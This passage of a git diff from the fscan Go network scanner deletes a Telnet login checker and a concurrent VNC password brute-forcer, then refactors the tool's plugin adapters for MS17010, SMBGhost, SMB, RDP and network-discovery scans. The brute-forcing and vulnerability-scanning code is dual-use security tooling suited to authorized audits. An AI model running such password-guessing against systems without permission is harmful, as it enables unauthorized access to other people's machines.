c.isLoginSucceed(responseString) { - return nil - } - - return errors.New("login failed") -} - -// Clear 清空最近一次响应 -func (c *TelnetClient) Clear() { - c.LastResponse = "" -} - -// 登录失败的关键词列表 -var loginFailedString = []string{ - "wrong", - "invalid", - "fail", - "incorrect", - "error", -} - -// isLoginFailed 检查是否登录失败 -func (c *TelnetClient) isLoginFailed(responseString string) bool { - responseString = strings.ToLower(responseString) - - // 空响应视为失败 - if responseString == "" { - return true - } - - // 检查失败关键词 - for _, str := range loginFailedString { - if strings.Contains(responseString, str) { - return true - } - } - - // 检查是否仍在要求输入凭证 - patterns := []string{ - "(?is).*pass(word)?:$", - "(?is).*user(name)?:$", - "(?is).*login:$", - } - for _, pattern := range patterns { - if regexp.MustCompile(pattern).MatchString(responseString) { - return true - } - } - - return false -} - -// isLoginSucceed 检查是否登录成功 -func (c *TelnetClient) isLoginSucceed(responseString string) bool { - // 空响应视为失败 - if responseString == "" { - return false - } - - // 获取最后一行响应 - lines := strings.Split(responseString, "\n") - if len(lines) == 0 { - return false - } - - lastLine := lines[len(lines)-1] - - // 检查命令提示符 - if regexp.MustCompile("^[#$>].*").MatchString(lastLine) || - regexp.MustCompile("^<[a-zA-Z0-9_]+>.*").MatchString(lastLine) { - return true - } - - // 检查last login信息 - if regexp.MustCompile("(?:s)last login").MatchString(responseString) { - return true - } - - // 发送测试命令验证 - c.Clear() - c.WriteContext("?") - time.Sleep(time.Second * 2) - responseString = c.ReadContext() - - // 检查响应长度 - if strings.Count(responseString, "\n") > 6 || len([]rune(responseString)) > 100 { - return true - } - - return false -} - -// Telnet协议常量定义 -const ( - // 写入操作后的延迟时间 - TIME_DELAY_AFTER_WRITE = 300 * time.Millisecond - - // Telnet基础控制字符 - IAC = byte(255) // 解释为命令(Interpret As Command) - DONT = byte(254) // 请求对方停止执行某选项 - DO = byte(253) // 请求对方执行某选项 - WONT = byte(252) // 拒绝执行某选项 - WILL = byte(251) // 同意执行某选项 - - // 子协商相关控制字符 - SB = byte(250) // 子协商开始(Subnegotiation Begin) - SE = byte(240) // 子协商结束(Subnegotiation End) - - // 特殊功能字符 - NULL = byte(0) // 空字符 - EOF = byte(236) // 文档结束 - SUSP = byte(237) // 暂停进程 - ABORT = byte(238) // 停止进程 - REOR = byte(239) // 记录结束 - - // Telnet选项代码 - BINARY = byte(0) // 8位数据通道 - ECHO = byte(1) // 回显 - SGA = byte(3) // 禁止继续 - - // 服务器类型常量定义 - Closed = iota // 连接关闭 - UnauthorizedAccess // 无需认证 - OnlyPassword // 仅需密码 - UsernameAndPassword // 需要用户名和密码 -) diff --git a/Plugins/VNC.go b/Plugins/VNC.go deleted file mode 100644 index 941d0fd..0000000 --- a/Plugins/VNC.go +++ /dev/null @@ -1,274 +0,0 @@ -package Plugins - -import ( - "context" - "fmt" - "sync" - "time" - - "github.com/mitchellh/go-vnc" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/output" -) - -// VncCredential 表示VNC凭据 -type VncCredential struct { - Password string -} - -// VncScanResult 表示VNC扫描结果 -type VncScanResult struct { - Success bool - Error error - Credential VncCredential -} - -func VncScan(info *common.HostInfo) error { - if common.DisableBrute { - return nil - } - - target := fmt.Sprintf("%v:%v", info.Host, info.Ports) - common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) - - // 设置全局超时上下文 - ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second) - defer cancel() - - // 构建密码列表 - var credentials []VncCredential - for _, pass := range common.Passwords { - credentials = append(credentials, VncCredential{Password: pass}) - } - - common.LogDebug(fmt.Sprintf("开始尝试密码组合 (总密码数: %d)", len(credentials))) - - // 使用工作池并发扫描 - result := concurrentVncScan(ctx, info, credentials, common.Timeout, common.MaxRetries) - if result != nil { - // 记录成功结果 - saveVncResult(info, target, result.Credential) - return nil - } - - // 检查是否因为全局超时而退出 - select { - case <-ctx.Done(): - common.LogDebug("VNC扫描全局超时") - return fmt.Errorf("全局超时") - default: - common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个密码", len(credentials))) - return nil - } -} - -// concurrentVncScan 并发扫描VNC服务 -func concurrentVncScan(ctx context.Context, info *common.HostInfo, credentials []VncCredential, timeoutSeconds int64, maxRetries int) *VncScanResult { - // 使用ModuleThreadNum控制并发数 - maxConcurrent := common.ModuleThreadNum - if maxConcurrent <= 0 { - maxConcurrent = 10 // 默认值 - } - if maxConcurrent > len(credentials) { - maxConcurrent = len(credentials) - } - - // 创建工作池 - var wg sync.WaitGroup - resultChan := make(chan *VncScanResult, 1) - workChan := make(chan VncCredential, maxConcurrent) - scanCtx, scanCancel := context.WithCancel(ctx) - defer scanCancel() - - // 启动工作协程 - for i := 0; i < maxConcurrent; i++ { - wg.Add(1) - go func() { - defer wg.Done() - for credential := range workChan { - select { - case <-scanCtx.Done(): - return - default: - result := tryVncCredential(scanCtx, info, credential, timeoutSeconds, maxRetries) - if result.Success { - select { - case resultChan <- result: - scanCancel() // 找到有效凭据,取消其他工作 - default: - } - return - } - } - } - }() - } - - // 发送工作 - go func() { - for i, cred := range credentials { - select { - case <-scanCtx.Done(): - break - default: - common.LogDebug(fmt.Sprintf("[%d/%d] 尝试密码: %s", i+1, len(credentials), cred.Password)) - workChan <- cred - } - } - close(workChan) - }() - - // 等待结果或完成 - go func() { - wg.Wait() - close(resultChan) - }() - - // 获取结果,考虑全局超时 - select { - case result, ok := <-resultChan: - if ok && result != nil && result.Success { - return result - } - return nil - case <-ctx.Done(): - common.LogDebug("VNC并发扫描全局超时") - scanCancel() // 确保取消所有未完成工作 - return nil - } -} - -// tryVncCredential 尝试单个VNC凭据 -func tryVncCredential(ctx context.Context, info *common.HostInfo, credential VncCredential, timeoutSeconds int64, maxRetries int) *VncScanResult { - var lastErr error - - for retry := 0; retry < maxRetries; retry++ { - select { - case <-ctx.Done(): - return &VncScanResult{ - Success: false, - Error: fmt.Errorf("全局超时"), - Credential: credential, - } - default: - if retry > 0 { - common.LogDebug(fmt.Sprintf("第%d次重试密码: %s", retry+1, credential.Password)) - time.Sleep(500 * time.Millisecond) // 重试前等待 - } - - // 创建连接超时上下文 - connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) - success, err := VncConn(connCtx, info, credential.Password) - cancel() - - if success { - return &VncScanResult{ - Success: true, - Credential: credential, - } - } - - lastErr = err - if err != nil { - // 检查是否需要重试 - if retryErr := common.CheckErrs(err); retryErr == nil { - break // 不需要重试的错误 - } - } - } - } - - return &VncScanResult{ - Success: false, - Error: lastErr, - Credential: credential, - } -} - -// VncConn 尝试建立VNC连接 -func VncConn(ctx context.Context, info *common.HostInfo, pass string) (bool, error) { - Host, Port := info.Host, info.Ports - timeout := time.Duration(common.Timeout) * time.Second - - // 使用带上下文的TCP连接 - conn, err := common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:%s", Host, Port), timeout) - if err != nil { - return false, err - } - defer conn.Close() - - // 设置读写超时 - if err := conn.SetDeadline(time.Now().Add(timeout)); err != nil { - return false, err - } - - // 创建完成通道 - doneChan := make(chan struct { - success bool - err error - }, 1) - - // 在协程中处理VNC认证 - go func() { - // 配置VNC客户端 - config := &vnc.ClientConfig{ - Auth: []vnc.ClientAuth{ - &vnc.PasswordAuth{ - Password: pass, - }, - }, - } - - // 尝试VNC认证 - client, err := vnc.Client(conn, config) - if err != nil { - select { - case <-ctx.Done(): - case doneChan <- struct { - success bool - err error - }{false, err}: - } - return - } - - // 认证成功 - defer client.Close() - select { - case <-ctx.Done(): - case doneChan <- struct { - success bool - err error - }{true, nil}: - } - }() - - // 等待认证结果或上下文取消 - select { - case result := <-doneChan: - return result.success, result.err - case <-ctx.Done(): - return false, ctx.Err() - } -} - -// saveVncResult 保存VNC扫描结果 -func saveVncResult(info *common.HostInfo, target string, credential VncCredential) { - successLog := fmt.Sprintf("vnc://%s 密码: %v", target, credential.Password) - common.LogSuccess(successLog) - - // 保存结果 - vulnResult := &output.ScanResult{ - Time: time.Now(), - Type: output.TypeVuln, - Target: info.Host, - Status: "vulnerable", - Details: map[string]interface{}{ - "port": info.Ports, - "service": "vnc", - "password": credential.Password, - "type": "weak-password", - }, - } - common.SaveResult(vulnResult) -} diff --git a/Plugins/adapter/legacy_plugin.go b/Plugins/adapters/legacy_plugin.go similarity index 99% rename from Plugins/adapter/legacy_plugin.go rename to Plugins/adapters/legacy_plugin.go index c3f1f86..1b2910f 100644 --- a/Plugins/adapter/legacy_plugin.go +++ b/Plugins/adapters/legacy_plugin.go @@ -1,4 +1,4 @@ -package adapter +package adapters import ( "context" diff --git a/Plugins/adapter/plugin_adapter.go b/Plugins/adapters/plugin_adapter.go similarity index 99% rename from Plugins/adapter/plugin_adapter.go rename to Plugins/adapters/plugin_adapter.go index b037cf4..40cc3c9 100644 --- a/Plugins/adapter/plugin_adapter.go +++ b/Plugins/adapters/plugin_adapter.go @@ -1,4 +1,4 @@ -package adapter +package adapters import ( "context" diff --git a/Plugins/FindNet.go b/Plugins/legacy/FindNet.go similarity index 97% rename from Plugins/FindNet.go rename to Plugins/legacy/FindNet.go index 0cb4392..301ec89 100644 --- a/Plugins/FindNet.go +++ b/Plugins/legacy/FindNet.go @@ -214,14 +214,14 @@ func read(text []byte, host string) error { if len(ipv4Addrs) > 0 { output.WriteString("\n IPv4地址:") for _, addr := range ipv4Addrs { - output.WriteString(fmt.Sprintf("\n - %s", addr)) + output.WriteString(fmt.Sprintf("\n └─ %s", addr)) } } if len(ipv6Addrs) > 0 { output.WriteString("\n IPv6地址:") for _, addr := range ipv6Addrs { - output.WriteString(fmt.Sprintf("\n - %s", addr)) + output.WriteString(fmt.Sprintf("\n └─ %s", addr)) } } diff --git a/Plugins/legacy/elasticsearch/plugin.go b/Plugins/legacy/elasticsearch/plugin.go index ea3581e..2664b65 100644 --- a/Plugins/legacy/elasticsearch/plugin.go +++ b/Plugins/legacy/elasticsearch/plugin.go @@ -1,9 +1,9 @@ package elasticsearch import ( - "github.com/shadow1ng/fscan/plugins/adapter" + "github.com/shadow1ng/fscan/plugins/adapters" "github.com/shadow1ng/fscan/plugins/base" - Plugins "github.com/shadow1ng/fscan/plugins" + LegacyPlugins "github.com/shadow1ng/fscan/plugins/legacy" ) // NewElasticsearchPlugin 创建Elasticsearch弱密码检测插件 @@ -21,7 +21,7 @@ func NewElasticsearchPlugin() base.Plugin { } // 适配器选项 - options := &adapter.LegacyPluginOptions{ + options := &adapters.LegacyPluginOptions{ CheckBruteFlag: true, // Elasticsearch依赖暴力破解标志 IsVulnPlugin: false, // 这是服务检测插件,虽然包含安全检查 IsInfoPlugin: true, // 包含信息收集功能 @@ -29,7 +29,7 @@ func NewElasticsearchPlugin() base.Plugin { } // 创建适配器,直接使用老版本的ElasticScan函数 - return adapter.NewLegacyPlugin(metadata, Plugins.ElasticScan, options) + return adapters.NewLegacyPlugin(metadata, LegacyPlugins.ElasticScan, options) } // init 自动注册Elasticsearch插件 diff --git a/Plugins/legacy/findnet/plugin.go b/Plugins/legacy/findnet/plugin.go new file mode 100644 index 0000000..cb21102 --- /dev/null +++ b/Plugins/legacy/findnet/plugin.go @@ -0,0 +1,54 @@ +package findnet + +import ( + "github.com/shadow1ng/fscan/plugins/adapters" + "github.com/shadow1ng/fscan/plugins/base" + LegacyPlugins "github.com/shadow1ng/fscan/plugins/legacy" +) + +// NewFindNetPlugin 创建FindNet网络发现插件 +func NewFindNetPlugin() base.Plugin { + // 插件元数据 + metadata := &base.PluginMetadata{ + Name: "findnet", + Version: "1.0.0", + Author: "fscan-team", + Description: "Windows网络接口发现和主机名解析 (通过RPC)", + Category: "information", + Ports: []int{135}, // RPC端口 + Protocols: []string{"tcp"}, + Tags: []string{"findnet", "rpc", "information-gathering", "windows", "network-discovery"}, + } + + // 适配器选项 + options := &adapters.LegacyPluginOptions{ + CheckBruteFlag: false, // FindNet不依赖暴力破解标志 + IsVulnPlugin: false, // 这不是漏洞检测插件 + IsInfoPlugin: true, // 这是信息收集插件 + CustomPorts: []int{135}, // RPC端口 + } + + // 创建适配器,直接使用老版本的Findnet函数 + return adapters.NewLegacyPlugin(metadata, LegacyPlugins.Findnet, options) +} + +// init 自动注册FindNet插件 +func init() { + // 创建插件工厂 + metadata := &base.PluginMetadata{ + Name: "findnet", + Version: "1.0.0", + Author: "fscan-team", + Description: "Windows网络接口发现和主机名解析 (通过RPC)", + Category: "information", + Ports: []int{135}, + Protocols: []string{"tcp"}, + Tags: []string{"findnet", "rpc", "information-gathering", "windows", "network-discovery"}, + } + + factory := base.NewSimplePluginFactory(metadata, func() base.Plugin { + return NewFindNetPlugin() + }) + + base.GlobalPluginRegistry.Register("findnet", factory) +} \ No newline at end of file diff --git a/Plugins/legacy/ms17010/plugin.go b/Plugins/legacy/ms17010/plugin.go index 2be5c68..1224c20 100644 --- a/Plugins/legacy/ms17010/plugin.go +++ b/Plugins/legacy/ms17010/plugin.go @@ -1,9 +1,9 @@ package ms17010 import ( - "github.com/shadow1ng/fscan/plugins/adapter" + "github.com/shadow1ng/fscan/plugins/adapters" "github.com/shadow1ng/fscan/plugins/base" - Plugins "github.com/shadow1ng/fscan/plugins" + LegacyPlugins "github.com/shadow1ng/fscan/plugins/legacy" ) // NewMS17010Plugin 创建MS17010漏洞检测插件 @@ -21,7 +21,7 @@ func NewMS17010Plugin() base.Plugin { } // 适配器选项 - options := &adapter.LegacyPluginOptions{ + options := &adapters.LegacyPluginOptions{ CheckBruteFlag: false, // MS17010不依赖暴力破解标志 IsVulnPlugin: true, // 这是漏洞检测插件 IsInfoPlugin: false, @@ -29,7 +29,7 @@ func NewMS17010Plugin() base.Plugin { } // 创建适配器,直接使用老版本的MS17010函数 - return adapter.NewLegacyPlugin(metadata, Plugins.MS17010, options) + return adapters.NewLegacyPlugin(metadata, LegacyPlugins.MS17010, options) } // init 自动注册MS17010插件 diff --git a/Plugins/legacy/netbios/plugin.go b/Plugins/legacy/netbios/plugin.go index 951fb66..3b7fd11 100644 --- a/Plugins/legacy/netbios/plugin.go +++ b/Plugins/legacy/netbios/plugin.go @@ -1,9 +1,9 @@ package netbios import ( - "github.com/shadow1ng/fscan/plugins/adapter" + "github.com/shadow1ng/fscan/plugins/adapters" "github.com/shadow1ng/fscan/plugins/base" - Plugins "github.com/shadow1ng/fscan/plugins" + LegacyPlugins "github.com/shadow1ng/fscan/plugins/legacy" ) // NewNetBiosPlugin 创建NetBIOS信息收集插件 @@ -21,7 +21,7 @@ func NewNetBiosPlugin() base.Plugin { } // 适配器选项 - options := &adapter.LegacyPluginOptions{ + options := &adapters.LegacyPluginOptions{ CheckBruteFlag: false, // NetBIOS信息收集不依赖暴力破解标志 IsVulnPlugin: false, // 这不是漏洞检测插件 IsInfoPlugin: true, // 这是信息收集插件 @@ -29,7 +29,7 @@ func NewNetBiosPlugin() base.Plugin { } // 创建适配器,直接使用老版本的NetBIOS函数 - return adapter.NewLegacyPlugin(metadata, Plugins.NetBIOS, options) + return adapters.NewLegacyPlugin(metadata, LegacyPlugins.NetBIOS, options) } // init 自动注册NetBIOS插件 diff --git a/Plugins/legacy/rdp/plugin.go b/Plugins/legacy/rdp/plugin.go index 773fba2..2191a89 100644 --- a/Plugins/legacy/rdp/plugin.go +++ b/Plugins/legacy/rdp/plugin.go @@ -1,9 +1,9 @@ package rdp import ( - "github.com/shadow1ng/fscan/plugins/adapter" + "github.com/shadow1ng/fscan/plugins/adapters" "github.com/shadow1ng/fscan/plugins/base" - Plugins "github.com/shadow1ng/fscan/plugins" + LegacyPlugins "github.com/shadow1ng/fscan/plugins/legacy" ) // NewRdpPlugin 创建RDP弱密码检测插件 @@ -21,7 +21,7 @@ func NewRdpPlugin() base.Plugin { } // 适配器选项 - options := &adapter.LegacyPluginOptions{ + options := &adapters.LegacyPluginOptions{ CheckBruteFlag: true, // RDP依赖暴力破解标志 IsVulnPlugin: false, // 这是服务检测插件,不是漏洞检测 IsInfoPlugin: false, // 主要是弱密码检测 @@ -29,7 +29,7 @@ func NewRdpPlugin() base.Plugin { } // 创建适配器,直接使用老版本的RdpScan函数 - return adapter.NewLegacyPlugin(metadata, Plugins.RdpScan, options) + return adapters.NewLegacyPlugin(metadata, LegacyPlugins.RdpScan, options) } // init 自动注册RDP插件 diff --git a/Plugins/legacy/smb/plugin.go b/Plugins/legacy/smb/plugin.go index be02857..a8a421d 100644 --- a/Plugins/legacy/smb/plugin.go +++ b/Plugins/legacy/smb/plugin.go @@ -1,9 +1,9 @@ package smb import ( - "github.com/shadow1ng/fscan/plugins/adapter" + "github.com/shadow1ng/fscan/plugins/adapters" "github.com/shadow1ng/fscan/plugins/base" - Plugins "github.com/shadow1ng/fscan/plugins" + LegacyPlugins "github.com/shadow1ng/fscan/plugins/legacy" ) // NewSmbPlugin 创建SMB弱密码检测插件 @@ -21,7 +21,7 @@ func NewSmbPlugin() base.Plugin { } // 适配器选项 - options := &adapter.LegacyPluginOptions{ + options := &adapters.LegacyPluginOptions{ CheckBruteFlag: true, // SMB依赖暴力破解标志 IsVulnPlugin: false, // 这是服务检测插件,不是漏洞检测 IsInfoPlugin: true, // 包含信息收集功能 @@ -29,7 +29,7 @@ func NewSmbPlugin() base.Plugin { } // 创建适配器,直接使用老版本的SmbScan函数 - return adapter.NewLegacyPlugin(metadata, Plugins.SmbScan, options) + return adapters.NewLegacyPlugin(metadata, LegacyPlugins.SmbScan, options) } // init 自动注册SMB插件 diff --git a/Plugins/legacy/smb2/plugin.go b/Plugins/legacy/smb2/plugin.go index 1f64738..9410324 100644 --- a/Plugins/legacy/smb2/plugin.go +++ b/Plugins/legacy/smb2/plugin.go @@ -1,9 +1,9 @@ package smb2 import ( - "github.com/shadow1ng/fscan/plugins/adapter" + "github.com/shadow1ng/fscan/plugins/adapters" "github.com/shadow1ng/fscan/plugins/base" - Plugins "github.com/shadow1ng/fscan/plugins" + LegacyPlugins "github.com/shadow1ng/fscan/plugins/legacy" ) // NewSmb2Plugin 创建SMB2弱密码检测插件 @@ -21,7 +21,7 @@ func NewSmb2Plugin() base.Plugin { } // 适配器选项 - options := &adapter.LegacyPluginOptions{ + options := &adapters.LegacyPluginOptions{ CheckBruteFlag: true, // SMB2依赖暴力破解标志 IsVulnPlugin: false, // 这是服务检测插件,不是漏洞检测 IsInfoPlugin: true, // 包含信息收集功能 @@ -29,7 +29,7 @@ func NewSmb2Plugin() base.Plugin { } // 创建适配器,直接使用老版本的SmbScan2函数 - return adapter.NewLegacyPlugin(metadata, Plugins.SmbScan2, options) + return adapters.NewLegacyPlugin(metadata, LegacyPlugins.SmbScan2, options) } // init 自动注册SMB2插件 diff --git a/Plugins/legacy/smbghost/plugin.go b/Plugins/legacy/smbghost/plugin.go index bd77b7f..e0460ec 100644 --- a/Plugins/legacy/smbghost/plugin.go +++ b/Plugins/legacy/smbghost/plugin.go @@ -1,9 +1,9 @@ package smbghost import ( - "github.com/shadow1ng/fscan/plugins/adapter" + "github.com/shadow1ng/fscan/plugins/adapters" "github.com/shadow1ng/fscan/plugins/base" - Plugins "github.com/shadow1ng/fscan/plugins" + LegacyPlugins "github.com/shadow1ng/fscan/plugins/legacy" ) // NewSmbGhostPlugin 创建SMBGhost漏洞检测插件 @@ -21,7 +21,7 @@ func NewSmbGhostPlugin() base.Plugin { } // 适配器选项 - options := &adapter.LegacyPluginOptions{ + options := &adapters.LegacyPluginOptions{ CheckBruteFlag: false, // SMBGhost不依赖暴力破解标志 IsVulnPlugin: true, // 这是漏洞检测插件 IsInfoPlugin: false, @@ -29,7 +29,7 @@ func NewSmbGhostPlugin() base.Plugin { } // 创建适配器,直接使用老版本的SmbGhost函数 - return adapter.NewLegacyPlugin(metadata, Plugins.SmbGhost, options) + return adapters.NewLegacyPlugin(metadata, LegacyPlugins.SmbGhost, options) } // init 自动注册SmbGhost插件